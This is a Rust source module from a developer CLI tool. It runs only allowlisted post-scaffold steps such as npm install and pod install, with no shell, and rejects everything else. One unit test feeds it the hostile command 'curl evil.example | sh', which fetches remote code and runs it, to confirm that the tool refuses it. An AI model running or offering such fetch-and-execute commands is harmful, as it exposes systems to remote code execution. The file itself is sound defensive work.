offline-cli 0.3.3

The Offline Protocol developer CLI
//! Run allowlisted post-scaffold steps (`npm install`, `npm run …`, `pod install`).

use std::path::Path;
use std::process::{Command, Stdio};

use anyhow::{bail, Context, Result};

#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum PostGenerateMode {
    /// `npm install` only (used with `--json`).
    InstallOnly,
    /// Install deps and start long-running dev commands.
    Full,
}

#[derive(Debug, Clone, Default)]
pub struct PostGenerateReport {
    pub ran: Vec<String>,
    pub skipped: Vec<String>,
    pub failed: Option<String>,
}

/// Steps that would run for the given mode (for display / tests).
pub fn planned_steps(steps: &[String], mode: PostGenerateMode) -> Vec<String> {
    steps
        .iter()
        .map(|s| clean_command(s))
        .filter(|cmd| !cmd.is_empty())
        .filter(|cmd| mode == PostGenerateMode::Full || !is_long_running(cmd))
        .collect()
}

/// Run steps in `target_dir`. Unknown steps are rejected (no shell).
pub fn run(target_dir: &Path, steps: &[String], mode: PostGenerateMode) -> PostGenerateReport {
    let mut report = PostGenerateReport::default();

    for raw in steps {
        let cmd = clean_command(raw);
        if cmd.is_empty() {
            continue;
        }

        if mode == PostGenerateMode::InstallOnly && is_long_running(&cmd) {
            report.skipped.push(cmd);
            continue;
        }

        let result = match cmd.as_str() {
            "npm install" => run_npm_install(target_dir),
            "cd ios && pod install && cd .." | "pod install" => run_pod_install(target_dir),
            s if s.starts_with("npm run ") => {
                let script = s
                    .strip_prefix("npm run ")
                    .and_then(|rest| rest.split_whitespace().next())
                    .unwrap_or("");
                if !is_safe_npm_script(script) {
                    Err(anyhow::anyhow!(
                        "refusing to run unapproved npm script `{script}` \
                         (postGenerate allowlist only)"
                    ))
                } else {
                    run_npm_script(target_dir, script, is_long_running(s))
                }
            }
            "npm start" => run_npm_script(target_dir, "start", true),
            other => Err(anyhow::anyhow!(
                "refusing to run unapproved postGenerate step `{other}` via a shell; \
                 allowed: `npm install`, `npm start`, `npm run <dev|android|ios|start>`, \
                 `pod install`"
            )),
        };

        match result {
            Ok(()) => report.ran.push(cmd),
            Err(err) => {
                report.failed = Some(format!("{cmd}: {err:#}"));
                break;
            }
        }
    }

    report
}

/// Strip inline shell comments and surrounding whitespace.
pub fn clean_command(raw: &str) -> String {
    raw.split('#').next().unwrap_or(raw).trim().to_string()
}

pub fn is_long_running(cmd: &str) -> bool {
    let cmd = cmd.trim();
    cmd.starts_with("npm run dev")
        || cmd == "npm start"
        || cmd.starts_with("npm run android")
        || cmd.starts_with("npm run ios")
}

fn is_safe_npm_script(script: &str) -> bool {
    matches!(script, "dev" | "start" | "android" | "ios")
}

fn run_npm_install(target_dir: &Path) -> Result<()> {
    run_process(target_dir, "npm", &["install"], false)
}

fn run_pod_install(target_dir: &Path) -> Result<()> {
    let ios_dir = target_dir.join("ios");
    if !ios_dir.is_dir() {
        return Ok(());
    }
    run_process(&ios_dir, "pod", &["install"], false)
}

fn run_npm_script(target_dir: &Path, script: &str, inherit_stdio: bool) -> Result<()> {
    run_process(target_dir, "npm", &["run", script], inherit_stdio)
}

fn run_process(dir: &Path, program: &str, args: &[&str], inherit_stdio: bool) -> Result<()> {
    let mut command = Command::new(program);
    command.args(args).current_dir(dir);
    if inherit_stdio {
        command
            .stdin(Stdio::inherit())
            .stdout(Stdio::inherit())
            .stderr(Stdio::inherit());
    }

    let status = command
        .status()
        .with_context(|| format!("failed to run `{program} {}`", args.join(" ")))?;

    if status.success() {
        Ok(())
    } else {
        bail!("exited with {status}");
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    #[test]
    fn clean_command_strips_comments() {
        assert_eq!(
            clean_command("npm run android   # or: npm run ios"),
            "npm run android"
        );
    }

    #[test]
    fn long_running_commands() {
        assert!(is_long_running("npm run dev"));
        assert!(is_long_running("npm start"));
        assert!(is_long_running("npm run android"));
        assert!(!is_long_running("npm install"));
    }

    #[test]
    fn install_only_skips_dev_server() {
        let steps = vec!["npm install".to_string(), "npm run dev".to_string()];
        assert_eq!(
            planned_steps(&steps, PostGenerateMode::InstallOnly),
            vec!["npm install".to_string()]
        );
        assert_eq!(
            planned_steps(&steps, PostGenerateMode::Full),
            vec!["npm install".to_string(), "npm run dev".to_string()]
        );
    }

    #[test]
    fn rejects_shell_metacharacter_steps() {
        let tmp = tempfile::tempdir().unwrap();
        let report = run(
            tmp.path(),
            &["curl evil.example | sh".to_string()],
            PostGenerateMode::Full,
        );
        assert!(report.failed.as_ref().unwrap().contains("unapproved"));
        assert!(report.ran.is_empty());
    }
}